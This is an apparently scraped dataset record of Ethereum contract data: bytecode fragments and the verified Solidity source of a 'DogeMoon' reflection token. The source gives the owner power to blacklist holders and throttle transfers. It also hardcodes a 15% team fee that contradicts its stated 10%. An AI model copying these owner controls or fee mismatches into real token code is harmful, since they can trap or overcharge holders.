81101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600781526020017f544150434f494e0000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6305f5e1000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f544150000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122071cf63cd649182fc916308363299bb65bf847e207a7a4b3978e69db2572b7ca464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,237 |
0x73863a5032e552a100749da057e7fa5bbdff2fee
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogeMoon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Moon";
string private constant _symbol = " DogeMoon ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600981526020017f446f6765204d6f6f6e0000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f20446f67654d6f6f6e2000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffff